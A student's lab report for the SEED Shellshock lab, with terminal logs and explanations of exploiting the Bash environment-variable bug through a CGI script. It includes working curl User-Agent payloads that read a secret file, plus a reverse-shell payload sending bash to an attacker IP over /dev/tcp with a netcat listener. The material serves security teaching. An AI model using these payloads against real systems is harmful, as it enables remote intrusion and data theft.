Task1)

```
root@9d5bad0e292d:/# echo $foo
() { echo "Inside Function";}; echo "Task 1";
root@9d5bad0e292d:/# export foo
root@9d5bad0e292d:/# /bin/bash
root@9d5bad0e292d:/# exit
exit
root@9d5bad0e292d:/# echo $foo
() { echo "Inside Function";}; echo "Task 1";
root@9d5bad0e292d:/# /bin/bash_shellshock
Task 1
root@9d5bad0e292d:/# declare -f foo
foo ()
{
    echo "Inside Function"
}
root@9d5bad0e292d:/#
```

In normal Bash, the command echo "Task1" inside the environment variable foo is not run.
But in the vulnerable version bash_shellshock, we can see that the echo "Task1" after the function is run.
Also, when we check the registered function, we can see that the function is saved correctly, and only echo "Task1" was run.

Task2)

```
[04/12/25]seed@VM:~/.../Labsetup$ curl -A "Task 2" http://www.s
eedlab-shellshock.com/cgi-bin/getenv.cgi
****** Environment Variables ******
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=Task 2
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/b
in
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.
seedlab-shellshock.com Port 80</address>
SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)
SERVER_NAME=www.seedlab-shellshock.com
SERVER_ADDR=10.9.0.80
SERVER_PORT=80
REMOTE_ADDR=10.9.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/getenv.cgi
REMOTE_PORT=42432
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/cgi-bin/getenv.cgi
SCRIPT_NAME=/cgi-bin/getenv.cgi
[04/12/25]seed@VM:~/.../Labsetup$
```

We can see that the environment variable was changed using Bash.

Just by sending a request, we can confirm that the HTTP_USER_AGENT environment variable was set to Task2.

Task3)

1.

```
[04/12/25]seed@VM:~/.../Labsetup$ curl -A "() { :; }; echo Cont
ent-type: text/plain; echo; /bin/cat /tmp/secret_2020033781.txt
" www.seedlab-shellshock.com/cgi-bin/getenv.cgi
You find the Secret Message
[04/12/25]seed@VM:~/.../Labsetup$
```

I made a secret file on the victim server.

Then, by sending an HTTP request with the Shellshock attack,
we could use cat to steal the content of the file
/tmp/secret_2020033781.txt.

2. But we cannot steal the /etc/shadow file.
This file can only be read by root.
Because the web server runs with low permission, it cannot read the
/etc/shadow file.

Task4)

```
[04/12/25]seed@VM:~/.../Labsetup$ curl -A "() { :; }; echo Cont
ent-type: text/plain; echo; /bin/cat /tmp/secret_2020033781.txt
" www.seedlab-shellshock.com/cgi-bin/getenv.cgi
****** Environment Variables ******
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=() { :; }; echo Content-type: text/plain; echo;
 /bin/cat /tmp/secret_2020033781.txt
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/b
in
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.
seedlab-shellshock.com Port 80</address>
SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)
SERVER_NAME=www.seedlab-shellshock.com
SERVER_ADDR=10.9.0.80
SERVER_PORT=80
REMOTE_ADDR=10.9.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/getenv.cgi
REMOTE_PORT=42436
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/cgi-bin/getenv.cgi
SCRIPT_NAME=/cgi-bin/getenv.cgi
[04/12/25]seed@VM:~/.../Labsetup$
```

When we tested with the patched version of Bash (not the vulnerable one), we can see that the HTTP_USER_AGENT variable had a value,
but Bash did not run the value.

Task5)

```
[04/12/25]seed@VM:~/.../Labsetup$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.80 48950
bash: cannot set terminal process group (29): Inappropriate ioctl for de
vice
bash: no job control in this shell
www-data@9d5bad0e292d:/usr/lib/cgi-bin$ ls
ls
getenv.cgi
getenv.cgi.save
vul.cgi
www-data@9d5bad0e292d:/usr/lib/cgi-bin$
```

```
[04/12/25]seed@VM:~/.../Labsetup$ curl -A "() { :; }; /bin/bash -i > /de
v/tcp/10.9.0.1/9090 0<&1 2>&1" http://www.seedlab-shellshock.com/cgi-bin
/getenv.cgi
```

The top picture is the attacker's machine, and the bottom one is the victim's machine.
The attacker used Netcat to open a listener on port 9090.
The victim's CGI program had a Shellshock bug and made a reverse shell connection to the attacker.

The attacker sent a request using the curl command,
putting a Shellshock payload inside the User-Agent header.
This payload had an empty function and then ran /bin/bash.
It also included a command to send input, output, and errors to the attacker's IP and port.

As a result, the victim's Bash shell connected to the attacker,
and the attacker got a reverse shell and could run commands on the victim's system.

Question 1)

```
www-data@9d5bad0e292d:/usr/lib/cgi-bin$ export foo=`echo world; () { ech
o hello; }`
<gi-bin$ export foo=`echo world; () { echo hello; }`
bash: command substitution: line 1: syntax error near unexpected token `
)'
bash: command substitution: line 1: `echo world; () { echo hello; }'
www-data@9d5bad0e292d:/usr/lib/cgi-bin$ bash_shellshock
bash_shellshock
exit
www-data@9d5bad0e292d:/usr/lib/cgi-bin$ echo $foo
echo $foo
```

The command is not executed.
To trigger Shellshock, the pattern () { must come first.
But in this case, it did not, and the command included a function definition inside,
which caused a syntax error, so the whole command failed.

Questions 2)

The target program must use a vulnerable version of Bash inside.
Also, the process must be able to receive untrusted user input through environment variables.
So that Bash can run the malicious code inside the environment variable.

Question 3)

When a user sends an HTTP request using curl,
a web server like Apache receives the request and runs fork() to create a child process.
The child process then uses exec() to run the CGI script.
Since CGI scripts often use Bash, they can be vulnerable to the Shellshock attack.